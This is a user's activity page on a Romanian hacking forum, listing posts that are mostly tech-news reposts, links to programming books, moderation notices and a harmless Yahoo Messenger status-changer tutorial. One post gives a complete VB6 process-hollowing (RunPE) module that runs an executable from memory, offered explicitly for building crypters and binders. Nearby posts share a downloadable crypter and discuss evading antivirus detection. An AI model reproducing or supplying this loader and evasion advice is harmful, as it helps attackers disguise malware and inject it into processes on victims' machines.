Jump to content

Nytro

Administrators
  • Posts

    18711
  • Joined

  • Last visited

  • Days Won

    701

Everything posted by Nytro

  1. Viziteaza muzee cu Google Earth de Bianca Dinu | 14 Ianuarie 2009 Aplicatia digitala Google Earth vine cu o noua versiune care ofera reprezentari prin imagini ale interioarelor cladirilor. Layerul nou ofera turistilor virtuali fotografii la rezolutii uimitoare ale capodoperelor din interiorul Muzeului Prado din Madrid, Spania. Proiectul Prado include, de asemenea, imagini detalitate ale cladirilor din exteriorul muzeului. Youtube: O parte din capodoperele de la Prado, 14 la numar, pot fi admirate in detaliu. Reprezentanti ai Muzeului din Madrid si ai Google au sustinut pentru iubitorii de arta si pentru fanii Google Earth ca se pot apropia de tablouri atat de mult incat pot vedea si urmele lasate de pensula, aproape microscopice. Imaginile acestei versiuni a Google Earth, pe care o puteti descarca de aici , au o rezolutie de 14.000 megapixeli si au fost asamblate din peste 8000 de fotografii de inalta rezolutie ale sectiunilor de tablou. Printre alte asemenea proiecte, prin care se “tinteste” interiorul si exteriorul cladirilor importante din lume, se numara si Photosynth, care reuneste in mod inteligent fotografii in scene online 3D din exterior, si Everyscape, care creaza interiorul cladirilor tot in format 3D. Ambele proiecte apartin Microsoft. Momentan, Google nu a facut declaratii in legatura cu intentia de a mai lansa sau nu astfel de proiecte in aplicatia Earth. Sursa: CNet
  2. Nytro

    Iarba...

    Nou pe RST, inveti sa devii traficant...
  3. Nu chiar, din 2 carti si multa practica, dar nu carti pe PC. Nu pot sa citesc mult pe PC, nici pe messenger cand scrie cineva mult nu citesc.
  4. Parola e: Daca nu merge incerci cu http:// sau www.
  5. Parca le aveam intr-o arhiva, impreuna cu mai multe care vor aparea la Tutoriale romana, asta cred ca e: http://rapidshare.com/files/147165732/Carti.rar
  6. Carti, cursuri, tutoriale... Algoritmi.doc Size: 1083 KB http://rapidshare.com/files/182800355/Algoritmi.doc Algoritmi_2.doc Size: 331 KB http://rapidshare.com/files/182801156/Algoritmi_2.doc API.doc Size: 81 KB http://rapidshare.com/files/182801323/API.doc Arhitectura_Platformei_de_Dezvoltare_Net_Framework.doc Size: 632 KB http://rapidshare.com/files/182801437/Arhitectura_Platformei_de_Dezvoltare_Net_Framework.doc Baze_de_date.rar Size: 2199 KB http://rapidshare.com/files/182802054/Baze_de_date.rar Baze_de_Date_Acces.doc Size: 466 KB http://rapidshare.com/files/182802217/Baze_de_Date_Acces.doc Baze_de_Date_FoxPro.rar Size: 2714 KB http://rapidshare.com/files/182802818/Baze_de_Date_FoxPro.rar C++.rar Size: 248 KB http://rapidshare.com/files/182802984/C__.rar Caracteristici_ale_Limbajului_HTML.DOC Size: 222 KB http://rapidshare.com/files/182803125/Caracteristici_ale_Limbajului_HTML.DOC Carte_MySQL_Romana.rar Size: 547 KB http://rapidshare.com/files/182803294/Carte_MySQL_Romana.rar Combinatorica_si_grafuri.rar Size: 202 KB http://rapidshare.com/files/182803421/Combinatorica_si_grafuri.rar Curs_Java.rar Size: 168 KB http://rapidshare.com/files/182803564/Curs_Java.rar Curs_Socket.pdf Size: 433 KB http://rapidshare.com/files/182803773/Curs_Socket.pdf Cursuri_pentru_Fox_Pro.rar Size: 473 KB http://rapidshare.com/files/182803935/Cursuri_pentru_Fox_Pro.rar Despre_programare.rar Size: 88 KB http://rapidshare.com/files/182804034/Despre_programare.rar Fisiere_Visual_Basic.doc Size: 94 KB http://rapidshare.com/files/182804190/Fisiere_Visual_Basic.doc Gestiunea_datelor_multimedia_cu_interMedia_Oracle.ppt Size: 139 KB http://rapidshare.com/files/182804305/Gestiunea_datelor_multimedia_cu_interMedia_Oracle.ppt Grafuri_hamiltoniene_si_euleriene.doc Size: 254 KB http://rapidshare.com/files/182804450/Grafuri_hamiltoniene_si_euleriene.doc Grafuri_neorientate.doc Size: 135 KB http://rapidshare.com/files/182804888/Grafuri_neorientate.doc Grafurile_Orientate_si_Neorientate.doc Size: 192 KB http://rapidshare.com/files/182807535/Grafurile_Orientate_si_Neorientate.doc Indrumar_FoxPro.pdf Size: 1505 KB http://rapidshare.com/files/182807864/Indrumar_FoxPro.pdf Interfere_grafice.rar Size: 223 KB http://rapidshare.com/files/182808081/Interfere_grafice.rar Introducere_in_Delphi.doc Size: 164 KB http://rapidshare.com/files/182808240/Introducere_in_Delphi.doc Introducere_Matlab.doc Size: 2025 KB http://rapidshare.com/files/182808575/Introducere_Matlab.doc Java___JavaScript.DOC Size: 670 KB http://rapidshare.com/files/182808771/Java___JavaScript.DOC Java_Laborator.pdf Size: 1496 KB http://rapidshare.com/files/182809114/Java_Laborator.pdf Java_vizavi_de_C__.doc Size: 61 KB http://rapidshare.com/files/182809279/Java_vizavi_de_C__.doc java.util.doc Size: 41 KB http://rapidshare.com/files/182809778/java.util.doc Limbaj_de_asamblare.rar Size: 293 KB http://rapidshare.com/files/182809927/Limbaj_de_asamblare.rar Limbaje_de_Programare.doc Size: 2502 KB http://rapidshare.com/files/182810294/Limbaje_de_Programare.doc Limbaje_de_Programare.rar Size: 281 KB http://rapidshare.com/files/182824539/Limbaje_de_Programare.rar Limbajul_C.txt Size: 476 KB http://rapidshare.com/files/182824718/Limbajul_C.txt Limbajul_Visual_FoxPro.doc Size: 1146 KB http://rapidshare.com/files/182824944/Limbajul_Visual_FoxPro.doc Manual_Grafuri.doc Size: 1177 KB http://rapidshare.com/files/182825194/Manual_Grafuri.doc Metoda_Backtaking.doc Size: 37 KB http://rapidshare.com/files/182825314/Metoda_Backtaking.doc Oracle_.doc Size: 7309 KB http://rapidshare.com/files/182826079/Oracle_.doc Oracle_-_Modelul_Relational.doc Size: 167 KB http://rapidshare.com/files/182827178/Oracle_-_Modelul_Relational.doc Parametrii_liniei_de_comanda_in_C_si_C__.doc Size: 84 KB http://rapidshare.com/files/182827297/Parametrii_liniei_de_comanda_in_C_si_C__.doc Pointeri.doc Size: 41 KB http://rapidshare.com/files/182827420/Pointeri.doc Programare_Avansata_Utilizand_Clase.doc Size: 78 KB http://rapidshare.com/files/182827553/Programare_Avansata_Utilizand_Clase.doc Programare_Orientata_Obiect_in_C__.doc Size: 1561 KB http://rapidshare.com/files/182827823/Programare_Orientata_Obiect_in_C__.doc Programare_Orientata_pe_Obiecte.rar Size: 6383 KB http://rapidshare.com/files/182828548/Programare_Orientata_pe_Obiecte.rar Programarea_Interfetelor_Aplicatiilor_Windows.rar Size: 7794 KB http://rapidshare.com/files/182829333/Programarea_Interfetelor_Aplicatiilor_Windows.rar Programare-C.doc Size: 545 KB http://rapidshare.com/files/182829759/Programare-C.doc Serializarea_obiectelor_in_Java.doc Size: 60 KB http://rapidshare.com/files/182829868/Serializarea_obiectelor_in_Java.doc Sintaxa_limbajului_HTML.doc Size: 194 KB http://rapidshare.com/files/182830042/Sintaxa_limbajului_HTML.doc Socluri.pdf Size: 77 KB http://rapidshare.com/files/182830174/Socluri.pdf Socluri_-_Modelul_Client_Server.ppt Size: 188 KB http://rapidshare.com/files/182830275/Socluri_-_Modelul_Client_Server.ppt Tehnici_de_Compilare.rar Size: 272 KB http://rapidshare.com/files/182830425/Tehnici_de_Compilare.rar Tutorial_MySQL.pdf Size: 756 KB http://rapidshare.com/files/182830619/Tutorial_MySQL.pdf Visual_C.rar Size: 345 KB http://rapidshare.com/files/182830752/Visual_C.rar Visual_FoxPro.pdf Size: 1152 KB http://rapidshare.com/files/182830957/Visual_FoxPro.pdf Lista va continua, voi reveni cu un update. Astept completari.
  7. Interesanta ideea, felicitari. Super, apar si eu pe acolo
  8. Windows 7 Beta final este lansat oficial de Valentin Gabriel | 08 Ianuarie 2009 Desi exista deja pe internet de mai mult timp o versiune pre-beta a mult asteptatului sistem de operare de la Microsoft - Windows 7, aceasta nu reprezenta in mod firesc ceea ce se vroia a reprezenta, adica o versiune care sa fie foarte apropiata de produsul final. Acum, cu ocazia CES 2009 Microsoft au anuntat ca incepand cu 9 Ianuarie, adica de maine, versiunea finala va fi dispinibila pentru descarcare pe site-ul Microsoft si utilizatorii vor putea sa incerce versiunea Beta oficiala si finala a lui Windows 7. Laolalta cu acest Beta va fi disponibil pentru descarcare si Windows Live, care promite sa ofere solutii de comunicare si de “sharing” superioare celor existente in acest moment, si nu va costa nimic, va fi o suita freeware. Sursa: Engadget
  9. Afisari Wikipedia in cautarile pe Google de Bianca Dinu | 09 Ianuarie 2009 Google a lucrat inca de anul trecut la dezvoltarea unei platforme online prin intermediul careia orice utilizator de internet sa poata vizualiza articole de pe Wikipedia direct in pagina de afisare a cautarilor. Daca, pana acum, Googlepedia pentru Firefox a fost in faza de testare, extensia este acum disponibila pentru download in versiunea finala. Daca va regasiti printre cei care ajung pe Wikipedia foarte des in timpul cautarilor pe Internet, extensia pentru Firefox va fi un instrument foarte util deoarece afiseaza articole de pe site-ul in cauza, ce sunt relevante cautarilor. In plus, un click pe link-urile din articolul Wikipedia va declansa noi cautari pe Google. Googlepedia apare in partea dreapta a paginii, in locul reclamelor sponsorizate si functioneaza cu versiunile de la 1.5 la 3.0 ale Firefox. Portalul Wikipedia, denumit si enciclopedie online, a fost creat in anul 2001. De atunci, a devenit cel mai cunoscut site cu referinte din Internet, avand aproximativ 80.000 de contribuitori care au creat articole in peste 250 de limbi. Sursa: CNet
  10. Google atacat in China de Alex Hanea | 06 Ianuarie 2009 China ia din nou atitudine intr-o forma care atrage atentia asupra evolutiei Internetului si a democratiei in statul comunist. La inceputul acestei saptamani, autoritatile chineze au lansat o campanie impotriva lui Google si Baidu din cauza continutului "vulgar si pornografic". Toate acestea dupa un an in care principalele motoare de cautare utilizate in China - Baidu (62,9%) si Google (26,9%) - au inregistrat cresteri surpinzatoare ale veniturilor pe fondul unei cresteri simtitoare a numarului de cautari online. Parerea multora este ca motivul real pentru care sunt vizate cele doua companii nu are nici o legatura cu continutul, ci doar cu aceasta dezvoltare pe piata comunista. Ceea ce este cert, este faptul ca guvernul a lansat o "campanie nationala pentru curatarea continutului vulgar de pe Internet". In aceasta cruciada exagerata - cel mai probabil - cenzorii capabili sa actioneze asupra unor astfel de site-uri urmeaza sa fie "inarmati" cu software mai performant pentru filtrarea si depistarea continutului interzis. Actiunea este considerata a fi o flexare a muschilor, in conditiile in care guvernul chinez se straduieste din ce in ce mai tare sa controleze accesul la Internet, mai ales pe masura ce constientizeaza ca pierde teren. Sursa: Newsfactor
  11. Batalia browserelor continua de Bianca Dinu | 05 Ianuarie 2009 Pentru prima data in istoria sa, browserul Firefox al Mozilla a depasit cota de piata de 20%, la nivel global, in luna noiembrie a anului trecut, ajungand chiar la 21 de procente in ultima luna a lui 2008. Datele au fost facute publice de compania americana de cercetare de piata, Net Applications, care sustine ca Firefox ramane, in continuare, al doilea cel mai popular browser din lume, in spatele Internet Explorer (IE) al Microsoft. Astfel, in luna noiembrie, Internet Explorer s-a remarcat din nou ca si lider, cu 69,77% cota de piata, in timp ce Safari al Apple a inregistrat doar 7,13 procente. Alte browsere, precum Chrome, Opera sau Netscape au avut cote de aproximativ 1% in ultimile luni ale lui 2008. Desi a ramas in continuare cel mai folosit browser, IE a pierdut, in 2008, aproximativ 8 procente, ajungand la o cota de piata de 68, 15%. In conditiile in care cota sa depasea 75% la inceputul anului trecut, aceasta valoare este cea mai mica inregistrata de IE din 1999, potrivit studiului Net Applications. Sursa: Tech Digest
  12. Internetul a crescut mai putin in 2008 de Alex Hanea | 05 Ianuarie 2009 Odata cu incheierea lui 2008, au aparut si cifrele care au caracterizat evolutia si evenimentele acestui an. La sfarsitul lui 2008 s-au inregistrat 186.727.854 de site-uri, conform Netcraft. Fata de anul anterior, cresterea a fost mult mai mica. In 2007, Internetul a crescut cu 48,7 milioane de site-uri (155.583.825), iar in 2006, cu 31,6 milioane. Dupa ce anii anteriori au inregistrat o crestere de 42% (2006) si 46% (2007), 2008 a marcat o crestere de doar 17%. Cel mai popular web server este in continuare Apache, cu 51,24%, in scadere fata de anul doi ani, cand inregistra mai mult de 60%. Microsoft este estimat la 31,24% iar Google 5,6%. Sursa: TgDaily
  13. Nu stiu daca pot trai fara Visual Basic-ul meu
  14. Am primit o "misiune" de a realiza acest lucru. O sa o prezint pe scurt. Ideea e simpla, e nevoie de un script PHP de unde se va schimba statusul online si de un executabil care va schimba practic statusul la messenger. Scriptul PHP salveaza statusul intr-un tabel iar programul citeste statusul de pe pagina si il pune la status. Incepem cu scriptul PHP. Vom folosi 3 fisiere: config.php pentru conectarea la baza de date, instalare.php pentru crearea bazei de date si a tabelului in care va fi memorat statusul si de status.php care permite schimbarea statusului si regasirea acestuia pentru program. config.php <?php $db_host="127.0.0.1"; $db_user="root"; $db_password=""; $db_name="cls"; $con=mysql_connect($db_host,$db_user,$db_password); if($con) { $create=mysql_query("CREATE DATABASE IF NOT EXISTS ".$db_name); if(!$create) print "<p align=center><b>Eroare la crearea bazei de date</b>"; else { $sel=mysql_select_db($db_name,$con); } if(!$sel) print "<p align=center><b>Eroare la selectarea bazei de date</b>"; } else print "<p align=center><b>Eroare la conectarea la baza de date</b>"; ?> instalare.php <?php include("conf.php"); // Cream tabelul in care vom memora statusul $tabel="CREATE TABLE IF NOT EXISTS status(id INT, id_mess VARCHAR(255), status VARCHAR(255), busy INT, PRIMARY KEY(id))"; $int=mysql_query($tabel); if(!$int) print "<p align=center><b>Eroare la crearea tabelului.</b>"; // Cream un status predefinit, pentru test $un_sts="INSERT INTO status(id_mess, status, busy) VALUES('nytro_rst','Status test','1')"; $int2=mysql_query($un_sts); if(!$int2) print "<p align=center><b>Eroare la scrierea statusului pentru test.</b>"; ?> status.php <?php include("conf.php"); if(isset($_GET['status'])) // In executabil vom apela status.php?status, deci aici trebuie sa afisam statusul { $query="SELECT * FROM status"; $int=mysql_query($query); // Il citim din tabel $date=mysql_fetch_array($int); print $date['id_mess']."_separator_".$date['status']."_separator_".$date['busy']; // Si il afisam ID-ul de messenger, statusul si daca sa fie busy sau nu folosind intre ele un separator pentru a le recunoaste } else { if(isset($_POST['submit'])) // Daca a fost apasat butonul pentru schimbarea statusului { $id_mess=htmlspecialchars($_POST['id_mess']); $status=htmlspecialchars($_POST['status']); // Preluam datele din $_POST $busy=htmlspecialchars($_POST['busy']); $query1="DELETE FROM status"; $int1=mysql_query($query1); // Stergem ultimul status if(!$int1) print "<p align=center><b>Eroare la stergerea statusului anterior.</b>"; $query2="INSERT INTO status(id_mess,status,busy) VALUES('".mysql_real_escape_string($id_mess)."','".mysql_real_escape_string($status)."','".mysql_real_escape_string($busy)."')"; $int2=mysql_query($query2); // Scriem noul status in tabel if(!$int2) print "<p align=center><b>Eroare la scrierea statusului.</b>"; else print "<p align=center><b>Statusul a fost schimbat cu succes. </b><br />"; } // Afisam pagina pentru schimbarea statusului $query="SELECT * FROM status"; $int=mysql_query($query); // Citim ultimul status pentru a-l afisa in casutele de text $date=mysql_fetch_array($int); print "<p align=\"center\">"; print "<b>Editare status </b><br /><br />"; print "</p>"; print "<form method=\"POST\">"; // Formularul de schimbare al statusului print "<p align=\"center\">"; print "ID: <input type=\"text\" name=\"id_mess\" value=\"".$date['id_mess']."\"><br /><br />"; // ID-ul de messenger print "Mesaj: <br /><textarea cols=\"32\" rows=\"5\" name=\"status\">".$date['status']."</textarea><br /><br />"; // Statusul print "Busy: <select name=\"busy\">"; // Daca sa fie Busy sau nu if($date['busy']=='1') // Daca ultimul status e busy selectam predefinit "Da" { print "<option selected value=\"1\">Da</option>"; print "<option value=\"0\">Nu</option>"; } else { print "<option value=\"1\">Da</option>"; print "<option selected value=\"0\">Nu</option>"; } // Iar daca nu, selectam predefinit "Nu" print "</select><br /><br />"; print "<input type=\"submit\" name=\"submit\" value=\"Schimba\"><br />"; // Butonul de submit print "</p></form><b r /><br />"; } ?> Acesta este scriptul nostru PHP. Trecem la executabil. Codul e scris in VB6: ' ############################################################################################ ' Autor: Popescu Ionut aka Nytro ' (c) Romanian Security Team 2008 ' ############################################################################################ Option Explicit ' API-urile si constanta de care vom avea nevoie Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hWnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long Private Const WM_COMMAND As Long = &H111 Dim ws Dim last_status As String Private Sub Form_Load() ' Cream un obiect Wsh cu ajutorul caruia putem scrie in Registry Set ws = CreateObject("WScript.Shell") End Sub Private Function ChangeStatus(ByVal id As String, ByVal mesaj As String, ByVal busy As Boolean) On Error Resume Next Dim a As Long ' Stergem ultimul status, poate provoca o eroare la schimbare ws.RegDelete "HKCU\Software\yahoo\pager\profiles\" & id & "\custom msgs\1" ws.RegDelete "HKCU\Software\yahoo\pager\profiles\" & id & "\custom msgs\1_bin" ' Scriem statusul in Registry ws.RegWrite "HKEY_CURRENT_USER\Software\yahoo\pager\profiles\" & id & "\custom msgs\1", mesaj, "REG_SZ" ' Daca se prefera Busy If busy = True Then ' Setam 1_dnd din Registry ca 1 ws.RegWrite "HKEY_CURRENT_USER\Software\yahoo\pager\profiles\" & id & "\custom msgs\1_dnd", 1, "REG_DWORD" Else ' Daca nu se doreste Busy setam 1_dnd ca 0 ws.RegWrite "HKEY_CURRENT_USER\Software\yahoo\pager\profiles\" & id & "\custom msgs\1_dnd", 0, "REG_DWORD" End If ' Gasim fereastra de messenger in functie de clasa a = FindWindow("YahooBuddyMain", vbNullString) ' Setam statusul din Y! Messenger, simulam un click. WM_COMMAND e folosit cand un utilizator selecteaza un item dintr-un meniu, simulam aceasta selectie SendMessage a, WM_COMMAND, 388, 1& End Function Private Sub Timer1_Timer() Dim text, id_mess, status, busy As String ' Citim http://localhost/status.php?status text = Inet1.OpenURL("http://localhost/status.php?status") ' Preluam ID-ul, statusul si daca sa fie Busy din textul de pe pagina. Ne folosim de separator si de un mic truc care merge in VB6 si anume preluarea direct de la o functie care returneaza un vector a unui element id_mess = Split(text, "_separator_")(0) ' ID-ul de mess status = Split(text, "_separator_")(1) ' Statusul busy = Split(text, "_separator_")(2) ' Daca sa fie Busy sau nu ' In last_status memoram ultimul status ca sa nu schimbam statusul continuu fara rost. Daca statusul nou e diferit de cel vechi il schimbam If status <> last_status Then last_status = status ' Setam noul status ca ultim status ChangeStatus id_mess, status, CBool(busy) ' Apelam functia de schimbare a statusului, convertim busy din 'string in Boolean End If End Sub Aceasta este ideea de baza. Se poate dezvolta, se poate crea un mic CMS unde folosind un username si o parola oricine isi va putea schimba statusul online.
  15. Stiky pentru un timp. Daca doriti ca un program anume sa apara acolo postati aici sau postati voi linkurile catre anumite programe.
  16. Nu e frumos ceea ce faci, e ca si cum i-ai fura acadeaua unui pusti.
  17. gabyhackerteamcode ban.
  18. Merge, dar nu e foarte bun, de aceea am si publicat sursa. Cativa antivirusi gasesc fisierul cryptat ca Trojan Dropper, asta e de la prima linie de cod, de copiere a fisierului. Se poate scapa de ei. Dar e mai greu sa scapi de nod32 si de Kaspersky
  19. Ma apuc de un alt proiect. E cel mai simplu crypter, e si comentat, sper sa va ajute. Limbaj: VB6 Download: http://rapidshare.com/files/181677988/Royal_Crypter_v1.0.rar Parola: www.rstcenter.com Screenshot:
  20. Un modul cu care puteti incarca in memorie un executabil daca il aveti ca byte array, util pentru cryptere, bindere ... Option Explicit Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Dest As Any, Src As Any, ByVal L As Long) Const SIZE_OF_80387_REGISTERS = 80 Private Type FLOATING_SAVE_AREA ControlWord As Long StatusWord As Long TagWord As Long ErrorOffset As Long ErrorSelector As Long DataOffset As Long DataSelector As Long RegisterArea(1 To SIZE_OF_80387_REGISTERS) As Byte Cr0NpxState As Long End Type Private Type CONTEXT86 ContextFlags As Long Dr0 As Long Dr1 As Long Dr2 As Long Dr3 As Long Dr6 As Long Dr7 As Long FloatSave As FLOATING_SAVE_AREA SegGs As Long SegFs As Long SegEs As Long SegDs As Long Edi As Long Esi As Long Ebx As Long Edx As Long Ecx As Long Eax As Long Ebp As Long Eip As Long SegCs As Long EFlags As Long Esp As Long SegSs As Long End Type Private Const CONTEXT_X86 = &H10000 Private Const CONTEXT86_CONTROL = (CONTEXT_X86 Or &H1) Private Const CONTEXT86_INTEGER = (CONTEXT_X86 Or &H2) Private Const CONTEXT86_SEGMENTS = (CONTEXT_X86 Or &H4) Private Const CONTEXT86_FLOATING_POINT = (CONTEXT_X86 Or &H8) Private Const CONTEXT86_DEBUG_REGISTERS = (CONTEXT_X86 Or &H10) Private Const CONTEXT86_FULL = (CONTEXT86_CONTROL Or CONTEXT86_INTEGER Or CONTEXT86_SEGMENTS) Private Declare Function GetThreadContext Lib "kernel32" (ByVal hThread As Long, lpContext As CONTEXT86) As Long Private Declare Function SetThreadContext Lib "kernel32" (ByVal hThread As Long, lpContext As CONTEXT86) As Long Private Declare Function SuspendThread Lib "kernel32" (ByVal hThread As Long) As Long Private Declare Function ResumeThread Lib "kernel32" (ByVal hThread As Long) As Long Private Type PROCESS_INFORMATION hProcess As Long hThread As Long dwProcessId As Long dwThreadId As Long End Type Private Type STARTUPINFO cb As Long lpReserved As String lpDesktop As String lpTitle As String dwX As Long dwY As Long dwXSize As Long dwYSize As Long dwXCountChars As Long dwYCountChars As Long dwFillAttribute As Long dwFlags As Long wShowWindow As Integer cbReserved2 As Integer lpReserved2 As Long hStdInput As Long hStdOutput As Long hStdError As Long End Type Private Declare Function CreateProcess Lib "kernel32" Alias "CreateProcessA" (ByVal lpAppName As String, ByVal lpCommandLine As String, ByVal lpProcessAttributes As Long, ByVal lpThreadAttributes As Long, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, ByVal lpEnvironment As Long, ByVal lpCurrentDirectory As Long, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As Long Private Declare Function ZwUnmapViewOfSection Lib "ntdll.dll" (ByVal hProcess As Long, ByVal BaseAddress As Long) As Long Private Declare Function WriteProcessMemory Lib "kernel32" (ByVal hProcess As Long, lpBaseAddress As Any, lpBuffer As Any, ByVal nSize As Long, lpNumberOfBytesWritten As Long) As Long Private Declare Function ReadProcessMemory Lib "kernel32" (ByVal hProcess As Long, lpBaseAddress As Any, lpBuffer As Any, ByVal nSize As Long, lpNumberOfBytesWritten As Long) As Long Private Declare Function VirtualAllocEx Lib "kernel32" (ByVal hProcess As Long, ByVal lpAddress As Long, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As Long Private Declare Function VirtualProtectEx Lib "kernel32" (ByVal hProcess As Long, lpAddress As Any, ByVal dwSize As Long, ByVal flNewProtect As Long, lpflOldProtect As Long) As Long Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long Private Const CREATE_SUSPENDED = &H4 Private Const MEM_COMMIT As Long = &H1000& Private Const MEM_RESERVE As Long = &H2000& Private Const PAGE_NOCACHE As Long = &H200 Private Const PAGE_EXECUTE_READWRITE As Long = &H40 Private Const PAGE_EXECUTE_WRITECOPY As Long = &H80 Private Const PAGE_EXECUTE_READ As Long = &H20 Private Const PAGE_EXECUTE As Long = &H10 Private Const PAGE_READONLY As Long = &H2 Private Const PAGE_WRITECOPY As Long = &H8 Private Const PAGE_NOACCESS As Long = &H1 Private Const PAGE_READWRITE As Long = &H4 Private Enum ImageSignatureTypes IMAGE_DOS_SIGNATURE = &H5A4D IMAGE_OS2_SIGNATURE = &H454E IMAGE_OS2_SIGNATURE_LE = &H454C IMAGE_VXD_SIGNATURE = &H454C IMAGE_NT_SIGNATURE = &H4550 End Enum Private Type IMAGE_DOS_HEADER e_magic As Integer e_cblp As Integer e_cp As Integer e_crlc As Integer e_cparhdr As Integer e_minalloc As Integer e_maxalloc As Integer e_ss As Integer e_sp As Integer e_csum As Integer e_ip As Integer e_cs As Integer e_lfarlc As Integer e_ovno As Integer e_res(0 To 3) As Integer e_oemid As Integer e_oeminfo As Integer e_res2(0 To 9) As Integer e_lfanew As Long End Type Private Type IMAGE_FILE_HEADER Machine As Integer NumberOfSections As Integer TimeDateStamp As Long PointerToSymbolTable As Long NumberOfSymbols As Long SizeOfOptionalHeader As Integer characteristics As Integer End Type Private Type IMAGE_DATA_DIRECTORY VirtualAddress As Long Size As Long End Type Const IMAGE_NUMBEROF_DIRECTORY_ENTRIES = 16 Private Type IMAGE_OPTIONAL_HEADER Magic As Integer MajorLinkerVersion As Byte MinorLinkerVersion As Byte SizeOfCode As Long SizeOfInitializedData As Long SizeOfUnitializedData As Long AddressOfEntryPoint As Long BaseOfCode As Long BaseOfData As Long ImageBase As Long SectionAlignment As Long FileAlignment As Long MajorOperatingSystemVersion As Integer MinorOperatingSystemVersion As Integer MajorImageVersion As Integer MinorImageVersion As Integer MajorSubsystemVersion As Integer MinorSubsystemVersion As Integer W32VersionValue As Long SizeOfImage As Long SizeOfHeaders As Long CheckSum As Long SubSystem As Integer DllCharacteristics As Integer SizeOfStackReserve As Long SizeOfStackCommit As Long SizeOfHeapReserve As Long SizeOfHeapCommit As Long LoaderFlags As Long NumberOfRvaAndSizes As Long DataDirectory(0 To IMAGE_NUMBEROF_DIRECTORY_ENTRIES - 1) As IMAGE_DATA_DIRECTORY End Type Private Type IMAGE_NT_HEADERS Signature As Long FileHeader As IMAGE_FILE_HEADER OptionalHeader As IMAGE_OPTIONAL_HEADER End Type Const IMAGE_SIZEOF_SHORT_NAME = 8 Private Type IMAGE_SECTION_HEADER SecName As String * IMAGE_SIZEOF_SHORT_NAME VirtualSize As Long VirtualAddress As Long SizeOfRawData As Long PointerToRawData As Long PointerToRelocations As Long PointerToLinenumbers As Long NumberOfRelocations As Integer NumberOfLinenumbers As Integer characteristics As Long End Type Const OFFSET_4 = 4294967296# Public Function RunExe(abExeFile() As Byte) As Long Dim idh As IMAGE_DOS_HEADER Dim inh As IMAGE_NT_HEADERS Dim ish As IMAGE_SECTION_HEADER Dim pi As PROCESS_INFORMATION Dim si As STARTUPINFO Dim context As CONTEXT86 Dim ImageBase As Long, ret As Long, i As Long Dim addr As Long, lOffset As Long CopyMemory idh, abExeFile(0), Len(idh) If idh.e_magic <> IMAGE_DOS_SIGNATURE Then MsgBox "MZ signature not found!", vbCritical, "File load error" Exit Function End If CopyMemory inh, abExeFile(idh.e_lfanew), Len(inh) If inh.Signature <> IMAGE_NT_SIGNATURE Then MsgBox "PE signature not found!", vbCritical, "File load error" Exit Function End If si.cb = Len(si) If CreateProcess(vbNullString, "cmd", 0, 0, False, CREATE_SUSPENDED, 0, 0, si, pi) = 0 Then Exit Function context.ContextFlags = CONTEXT86_INTEGER If GetThreadContext(pi.hThread, context) = 0 Then GoTo ClearProcess Call ReadProcessMemory(pi.hProcess, ByVal context.Ebx + 8, addr, 4, 0) If addr = 0 Then GoTo ClearProcess If ZwUnmapViewOfSection(pi.hProcess, addr) Then GoTo ClearProcess ImageBase = VirtualAllocEx(pi.hProcess, ByVal inh.OptionalHeader.ImageBase, inh.OptionalHeader.SizeOfImage, MEM_RESERVE Or MEM_COMMIT, PAGE_READWRITE) If ImageBase = 0 Then GoTo ClearProcess Call WriteProcessMemory(pi.hProcess, ByVal ImageBase, abExeFile(0), inh.OptionalHeader.SizeOfHeaders, ret) lOffset = idh.e_lfanew + Len(inh) For i = 0 To inh.FileHeader.NumberOfSections - 1 CopyMemory ish, abExeFile(lOffset + i * Len(ish)), Len(ish) Call WriteProcessMemory(pi.hProcess, ByVal ImageBase + ish.VirtualAddress, abExeFile(ish.PointerToRawData), ish.SizeOfRawData, ret) Call VirtualProtectEx(pi.hProcess, ByVal ImageBase + ish.VirtualAddress, ish.VirtualSize, Protect(ish.characteristics), addr) Next i Call WriteProcessMemory(pi.hProcess, ByVal context.Ebx + 8, ImageBase, 4, ret) context.Eax = ImageBase + inh.OptionalHeader.AddressOfEntryPoint Call SetThreadContext(pi.hThread, context) Call ResumeThread(pi.hThread) Exit Function ClearProcess: CloseHandle pi.hThread CloseHandle pi.hProcess End Function Private Function Protect(ByVal characteristics As Long) As Long Dim mapping As Variant mapping = Array(PAGE_NOACCESS, PAGE_EXECUTE, PAGE_READONLY, _ PAGE_EXECUTE_READ, PAGE_READWRITE, PAGE_EXECUTE_READWRITE, _ PAGE_READWRITE, PAGE_EXECUTE_READWRITE) Protect = mapping(RShift(characteristics, 29)) End Function Private Function RShift(ByVal lValue As Long, ByVal lNumberOfBitsToShift As Long) As Long RShift = vbLongToULong(lValue) / (2 ^ lNumberOfBitsToShift) End Function Private Function vbLongToULong(Value As Long) As Double If Value < 0 Then vbLongToULong = Value + OFFSET_4 Else vbLongToULong = Value End If End Function Folosire: RunExe ExeByteArray Codul NU e scris de mine.
  21. Printesa de Aur - Nu pierde masura
  22. Deci incarca executabilul in memorie. Ai folosit mPECL? Ce ocx lipseste?
  23. In curand o sa il updatez cu File Manager, File Transfer, Get Screenshot si ce imi mai trece prin cap.
  24. Ai 2 warnuri, la al 3-lea ai ban. Nu mai folosi "k", "tz", "sh" ... Si ar fi bine sa citesti asta: http://www.rstcenter.com/forum/showthread.php?t=454
  25. sandu_62 ban.
×
×
  • Create New...